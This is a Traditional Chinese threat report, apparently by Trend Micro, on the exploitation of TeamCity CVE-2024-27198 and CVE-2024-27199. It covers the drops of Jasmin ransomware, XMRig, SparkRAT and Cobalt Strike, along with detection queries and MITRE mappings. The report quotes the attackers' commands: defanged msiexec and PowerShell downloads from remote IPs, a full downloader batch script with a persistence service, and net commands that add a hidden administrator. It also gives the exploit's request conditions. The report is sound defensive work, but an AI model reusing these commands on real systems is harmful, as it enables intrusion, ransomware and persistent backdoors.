漏洞攻擊
駭客利用TeamCity 重大漏洞,散布勒索軟體 Jasmin、挖礦程式 XMRig、後門程式SparkRAT
CVE-2024-27198 與 CVE-2024-27199 是 TeamCity On-Premises 平台當中存在的兩個漏洞,可能讓駭客取得系統管理員的控制權限。
2024 年 3 月 4 日,JetBrains 公司揭露其 TeamCity On-Premises 平台的兩個重大漏洞:CVE-2024-27198 和 CVE-2024-27199,這兩個漏洞可能讓駭客繞過認證機制,進而取得伺服器系統管理員的控制權限。
駭客可透過 CVE-2024-27198 來執行以下惡意行為 (後面會分節討論):
- 植入 Jasmin 勒索病毒
- 植入 XMRig 虛擬加密貨幣挖礦程式
- 植入 Cobalt Strike 信標
- 植入 SparkRAT 後門程式
- 執行網域探索與常駐指令
目前網路上已出現這些漏洞的概念驗證 (POC) 攻擊手法,使得這些漏洞遭到廣泛攻擊的風險升高。就趨勢科技監測資料所觀察到的攻擊活躍程度來看,企業有必要盡快解決這些漏洞以守護其資料和系統。TeamCity 的客戶若是正在使用受這些漏洞影響的伺服器,最好盡快更新自己的軟體。而「美國網路資安與基礎架構安全局」(US Cybersecurity and Infrastructure Security Agency,簡稱 CISA) 也將 CVE-2024-27198 加入其已知遭到攻擊的漏洞 (Known Exploited Vulnerabilities) 目錄當中。趨勢科技客戶可藉由本文末端所列的解決方案來防範這些漏洞。
漏洞說明
資安廠商 Rapid7 已針對捷克軟體公司 JetBrains 的 TeamCity 持續整合/持續部署 (CI/CD) 伺服器的上述兩個漏洞發布了一份分析報告,指出這些漏洞正在遭受攻擊,而且 GitHub 及社群媒體上也出現了不少相關的概念驗證攻擊手法。
CVE-2024-27198:JetBrains TeamCity 認證迴避漏洞
CVE-2024-27198 是一個認證迴避漏洞,屬於 CVSS 評分 9.8 的重大漏洞,存在於 TeamCity 的 Web 元件當中,該元件還存在著另一個替代途徑漏洞 (CWE-288)。CVE-2024-27198 漏洞可讓駭客不需通過認證就能執行遠端程式碼 (RCE)。
要攻擊 CVE-2024-27198 漏洞,駭客必須滿足以下幾個條件:
- 產生一個未認證的 404 HTTP 回應。
- 傳送 HTTP 查詢字串「?jsp=/app/rest/server」。
- 在 HTTP 路徑參數當中加上「;.jsp」這串字。
CVE-2024-27199:JetBrains TeamCity 目錄瀏覽漏洞
CVE-2024-27199 是一個目錄瀏覽漏洞 (CWE-22),存在於 TeamCity 的 Web 元件當中,屬於 CVSS 評分 7.3 的高嚴重性漏洞,同樣可能讓駭客迴避認證機制。駭客可利用此漏洞將機敏資訊外洩,並修改某些 TeamCity 系統設定。
TeamCity 有多個路徑都受到這個目錄瀏覽漏洞的影響,包括:
- /res/
- /update/
- /.well-known/acme-challenge/
漏洞攻擊後續惡意檔案
就在 TeamCity 漏洞被揭露的同時,網路上也公布了幾個概念驗證攻擊手法。就在它們公布之後,我們便觀察到多起這些漏洞遭駭客攻擊的案例。
駭客可能利用 CVE-2024-27198 或 CVE-2024-27199 來避開 TeamCity On-Premises 伺服器的認證機制並執行後續指令。接著,駭客就能從遠端執行程式碼 (RCE) 以及 TeamCity 相關的流程,例如執行某個指令或腳本直譯器 (如 PowerShell) 來下載其他惡意程式,或執行探索指令。隨後,駭客會安裝惡意程式來與其幕後操縱 (CC) 伺服器聯繫,並執行其他指令,例如:部署 Cobalt Strike 信標以及遠端存取木馬程式 (RAT)。最後再植入勒索病毒來將檔案加密,向受害者勒索贖金。
漏洞攻擊會植入 Jasmin 勒索病毒
在攻擊這些漏洞的早期駭客當中,有個集團會在漏洞攻擊之後在系統植入開放原始碼 Jasmin 勒索病毒。
我們的監測資料觀察到以下處理程序:
父處理程序:
C:\TeamCity\jre\bin\java.exe
子處理程序:
C:\Windows\System32\cmd.exe /c "msiexec /q /i hxxp://207[.]246[.]102[.]242:56641/ABC[.]msi"
這個處理程序會下載一個 MSI 檔案 (SHA256:56942b36d5990f66a81955a94511298fd27cb6092e467110a7995a0654f17b1a),這個 MSI 檔案會再植入一個 PE 檔案來執行 (SHA256:32a630decb8fcc8a7ed4811f4293b9d5a242ce7865ab10c19a16fc4aa384bf64)。
勒索病毒會將加密後的檔案名稱改成「.lsoc」副檔名,並留下一封勒索訊息,檔名為「un-lock your files.html」。
在查看勒索訊息的原始程式碼時,我們發現它已經過加密編碼,並使用 JavaScript 來產生勒索訊息的文字內容,這很可能是為了躲避資安產品的偵測,並確認受害者會看到並閱讀勒索訊息檔案。
植入 XMRig 虛擬加密貨幣挖礦程式
我們發現有的駭客會在受漏洞影響的 TeamCity 伺服器上植入開放原始碼 XMRig 虛擬加密貨幣挖礦惡意程式的一個變種。類似的挖礦程式稍早在 2024 年 1 月的 Ivanti Connect Secure VPN 漏洞攻擊活動當中也曾出現過。以下是我們監測資料看到的挖礦程式:
父處理程序:
C:\TeamCity\jre\bin\java.exe
子處理程序:
C:\Windows\System32\cmd.exe /c "msiexec /q /i hxxp://146[.]70[.]149[.]185:58090/JavaAccessBridge-64.msi"
被下載的 MSI 檔案 (SHA256:7cbe0c55b3ca5d12be640e519e4399469399b3eaada20705342fa681befe8c7b) 會在「C:\Users\Public\Videos\」目錄中植入、加密、並執行其主要 XMRIG 檔案 (檔名:JavaAccessBridge-64.exe,SHA256:01db4578f5fb7b29800f7b07a31fda7ff812309f62f7148fca0e246279f6ca61) 以及另外兩個元件檔案:config.json 與 WinRing0x64.sys。
惡意程式會使用含有漏洞的 WinRing0x64.sys 驅動程式來存取 CPU 的「型號限定暫存器」(Model-Specific Register,簡稱 MSR) 來執行挖礦程序 (當其他方法都失敗時)。
挖礦程式會使用儲存在 config.json 檔案中的組態設定來執行:
此挖礦程式是經由多重階段批次檔所安裝,並運用了一些就地取材二進位檔 (LOLBin) 作為工具,例如:certutil.exe。圖 11 顯示從 Trend Micro Vision One™ 監測資料看到的處理程序樹狀圖與執行的指令。
植入 SparkRAT 後門程式
還有一個駭客集團會在系統植入以 Golang 撰寫的開放原始碼 SparkRAT 後門程式變種。我們發現在 TeamCity 目錄下的 java.exe 執行檔會利用一個 PowerShell 指令來下載並執行一個名為 win.bat 的批次檔:
父處理程序:
C:\TeamCity\jre\bin\java.exe
子處理程序:
C:\Windows\System32\cmd.exe /c "powershell -ep bypass IEX (New-Object System.Net.Webclient).DownloadFile('hxxp://38[.]54[.]94[.]13:8080/win.bat','c:\users\public\win.bat');start-process 'c:\users\public\win.bat'"
被下載的 win.bat 檔案內容如下:
@echo off
cmd /c certutil -urlcache -split -f hxxp://38[.]54[.]94[.]13:8080/86.dat c:\users\public\public.dat
cmd /c start /b c:\users\public\public.dat
sc create windowDefenSrv binPath= "cmd /c start /b c:\users\public\public.dat windowDefenSrv" start= auto
del c:\users\public\win.bat
這個批次檔會使用 certutil 來下載並執行 SparkRAT 惡意程式 (SHA256:908b30abf730a5b51a3d25965eff45a639e881a97505220a38591fe326e00697),接下來它會刪除原始的 win.bat 檔案。此惡意程式的 CC 伺服器位於:38[.]54[.]94[.]13。
在下載的後門程式當中發現的 SparkRAT 函式,與開放原始碼儲存庫 https://github.com/XZB-1248/Spark 當中的程式碼相符。
如同前面安裝挖礦程式時的情況,駭客在植入 SparkRAT 時也運用到各種批次檔與 LOLBin 來執行多重階段攻擊。圖 12 顯示從 Trend Vision One XDR 監測資料看到的處理程序樹狀圖與執行的指令。
執行網域探索與常駐指令
除了植入惡意程式之外,我們也看到有駭客曾多次嘗試探索網路基礎架構,並利用 TeamCity 伺服器目錄下的 java.exe 處理程序來執行一些常駐指令。
父處理程序:
C:\TeamCity\jre\bin\java.exe
我們發現駭客使用以下子處理程序來執行探索與常駐手法:
- C:\WINDOWS\system32\net.exe group /domain
- C:\WINDOWS\system32\net1.exe localgroup Administratoren /add Default$
- C:\WINDOWS\system32\net1.exe localgroup Administrators /add Default$
- C:\WINDOWS\system32\net1.exe user /add Default$ GH{redacted}23gwg
- C:\WINDOWS\system32\net1.exe user /del defaultuser0
- C:\WINDOWS\system32\net1.exe user /domain
- C:\WINDOWS\system32\net1.exe user administrator
- C:\WINDOWS\system32\net1.exe user default$
- C:\WINDOWS\system32\nltest.exe /domain_trusts
指令當中有好幾個會試圖篡改使用者的帳號、群組及權限,這些都是駭客常見的動作,目的是希望獲得未經授權的存取。其中最令人擔心的是試圖將使用者加入 Administrators 群組,因為這樣一來就能讓駭客獲得更高的權限,進而在系統內建立據點以方便長期進出。
植入 Cobalt Strike 信標
最後,我們發現駭客會在受影響的 TeamCity 伺服器內植入 Cobeacon。我們在某個受影響的 TeamCity 伺服器環境發現它被植入了一個信標 (SHA1: db6bd96b152314db3c430df41b83fcf2e5712281)。
這個信標是經由以下指令所下載:curl hxxp://83[.]97[.]20[.]141:81/beacon.out -o .conf,並且儲存到以下路徑:C:\TeamCity\bin\.conf。
這就是趨勢科技偵測到的 Backdoor.Linux.COBEACON.SMYXDKV。該信標會與位於 83[.]97[.]20[.]141 的 CC 伺服器聯繫,在本文撰寫時,該伺服器已經被我們主動列為偵測對象。
結論
TeamCity On-Premises 漏洞目前正在遭受攻擊,對使用該平台來執行 CI/CD 流程的企業來說是一項重大威脅。根據我們的監測資料指出,駭客正在利用這些漏洞在受影響的 TeamCity 伺服器上植入勒索病毒、挖礦程式及後門程式。
這些惡意活動不僅將破壞企業機敏資料與關鍵系統的機密性、一致性及可用性,更可能為受害企業帶來財務及營運風險。企業有必要盡速解決這些漏洞以防範後續的勒索病毒及其他惡意程式所帶來的進一步損害。
趨勢科技解決方案
趨勢科技已透過下列防護手段來偵測前述 TeamCity On-Premises 漏洞相關的惡意活動,確保趨勢科技客戶的安全。
- 43957 – HTTP: JetBrains TeamCity Directory Traversal Vulnerability
- 43958 – HTTP: JetBrains TeamCity Authentication Bypass Vulnerability
- 5011 – CVE-2024-27198 – JetBrains TeamCity Auth Bypass Exploit – HTTP (Response)
- 5012 – CVE-2024-27199 – JetBrains TeamCity Directory Traversal Exploit – HTTP (Response)
- 1011995 – JetBrains TeamCity Authentication Bypass Vulnerability (CVE-2024-21798)
- 1011996 – JetBrains TeamCity Directory Traversal Vulnerability (CVE-2024-21799)
說明 | Trend Vision One 查詢敘述 |
---|---|
Jasmin 勒索病毒檔案加密事件 | eventSubId:101 AND processFilePath:abc.exe AND objectFilePath:.lsoc |
幫 Monero 挖礦程式植入的核心驅動程式安裝服務 (出現在系統登錄中) | eventSubId:402 and tags:XSAE.F7460 and objectRegistryData:WinRing0x64.sys |
Monero 挖礦程式 MSI 檔案透過 certutil.exe 植入加密元件的解碼動作 | eventSubId:2 and processCmd:IndexStore.bat and objectCmd:("certutil" and "decode") |
從批次檔執行 SparkRAT 惡意程式 | eventSubId:2 and processFilePath:cmd.exe and processCmd:win.bat and objectCmd:windowDefenSrv |
偵測 TeamCity 處理程序產生的可疑處理程序 | eventSubId:2 AND processCmd:TeamCity AND objectCmd:("powershell" OR "net" OR "nltest" OR "msiexec") |
MITRE ATT&CK Matrix
手法 | 技巧 | 編號 |
---|---|---|
突破防線 | 經由漏洞攻擊企業對外的應用程式 | T1190 |
執行 | PowerShell | T1059.001 |
躲避防禦 | 解密/解碼檔案或資訊 | T1140 |
搜尋 | 帳號搜尋 | T1087 |
搜尋 | 網域信任搜尋 | T1482 |
幕後操縱 | 對內傳輸工具 | T1105 |
資料外傳 | 經由幕後操縱管道將資料外傳 | T1041 |
造成衝擊 | 將資料加密造成衝擊 | T1486 |
入侵指標資料
如需本文提到的入侵指標完整清單,請至此處。